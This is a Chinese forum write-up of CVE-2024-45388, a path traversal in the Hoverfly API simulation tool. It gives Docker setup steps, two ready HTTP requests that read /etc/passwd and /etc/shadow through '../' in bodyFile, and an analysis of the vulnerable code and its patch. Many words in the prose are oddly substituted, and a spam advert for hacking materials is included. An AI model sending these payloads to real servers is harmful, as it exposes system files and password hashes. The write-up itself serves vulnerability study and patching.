Hoverfly 恣意文件读取漏洞(CVE-2024-45388)

打印 上一主题 下一主题

主题 676|帖子 676|积分 2028

漏洞简介

Hoverfly 是一个为开辟人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理步伐允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能大概被攻击者利用来读取 Hoverfly 服务器上的恣意文件。只管代码禁止指定绝对路径,但攻击者可以通过使用 ../​ 段来逃离 hf.Cfg.ResponsesBodyFilesPath​ 基本路径,从而访问任何恣意文件。
环境搭建

我们还是利用 docker 来搭建环境
https://hub.docker.com/r/spectolabs/hoverfly/tags
[img=720,378.562]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702457.png[/img]
  1. docker pull spectolabs/hoverfly:v1.10.2
  2. docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2  
复制代码

漏洞复现

构造数据包
  1. POST /api/v2/simulation HTTP/1.1
  2. Host: 127.0.0.1:8888
  3. Accept: application/json, text/plain, */*
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  5. Sec-Fetch-Site: same-origin
  6. Sec-Fetch-Mode: cors
  7. Sec-Fetch-Dest: empty
  8. Referer: http://127.0.0.1:8888/dashboard
  9. Accept-Encoding: gzip, deflate
  10. Accept-Language: zh-CN,zh;q=0.9
  11. Connection: close
  12. Content-Length: 126
  13. Content-Type: application/x-www-form-urlencoded
  14. {"data":{"pairs":[{
  15. "request":{},"response": {
  16. "bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
复制代码
[img=720,324.28125]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702459.png[/img]
  1. PUT /api/v2/simulation HTTP/1.1
  2. Host: 127.0.0.1:8888
  3. Accept: application/json, text/plain, */*
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  5. Sec-Fetch-Site: same-origin
  6. Sec-Fetch-Mode: cors
  7. Sec-Fetch-Dest: empty
  8. Referer: http://127.0.0.1:8888/dashboard
  9. Accept-Encoding: gzip, deflate
  10. Accept-Language: zh-CN,zh;q=0.9
  11. Connection: close
  12. Content-Length: 126
  13. Content-Type: application/x-www-form-urlencoded
  14. {"data":{"pairs":[{
  15. "request":{},"response": {
  16. "bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
复制代码
[img=720,321.1875]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702460.png[/img]

【----资助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径头脑导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战本领手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
漏洞分析

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes
[img=720,362.8125]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702461.png[/img]

定义了 SimulationHandler​ 的路由注册方法,路由的每个 HTTP 方法(如 GET​、PUT​、POST​、DELETE​ 等)都有一个对应的处理函数 (this.Get​、this.Put​、this.Post​、this.Delete​、this.Options​、this.GetSchema​)。这些函数处理现实的业务逻辑。

  • GET /api/v2/simulation: 处理获取模拟数据。
  • PUT /api/v2/simulation: 处理更新模拟数据。
  • POST /api/v2/simulation: 处理创建新的模拟数据。
  • DELETE /api/v2/simulation: 处理删除模拟数据。
  • OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation​ 端点允许的 HTTP 方法的信息。
  • GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。
  • OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema​ 端点允许的 HTTP 方法的信息。
[img=720,237.24928366762177]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702462.png[/img]

POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,以是两种请求方式都可以实现恣意文件读取
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation
[img=720,371.9534282018111]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702463.png[/img]

第三个参数的不同导致 PUT 方法在获取新的模子内容时,起首删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。
hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation
[img=720,44.42159383033419]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702464.png[/img]

hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation
[img=720,370.4]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702465.png[/img]

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles
[img=720,363.90455531453364]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702466.png[/img]

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile
[img=720,151.93798449612405]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702467.png[/img]

这里就是漏洞产生的关键缘故原由,对传入的参数 filePath 没有做详细的校验,可以通过 ../​ 实现跨越目录的读取文件
我们看到最新版已经对传入的参数举行了处理
hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile
[img=720,219.36041486603284]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702468.png[/img]

hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath
[img=720,303.9511556912342]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410121702469.png[/img]

这个 ResolveAndValidatePath​ 函数用于从一个绝对路径(absBasePath​)解析一个相对路径(relativePath​),并验证这个相对路径是否合法。详细来说,它确保了相对路径不会实验向上回溯(使用 ".."​),而且解析后的路径仍然在基路径之下。
更多网安技能的在线实练习习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

怀念夏天

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表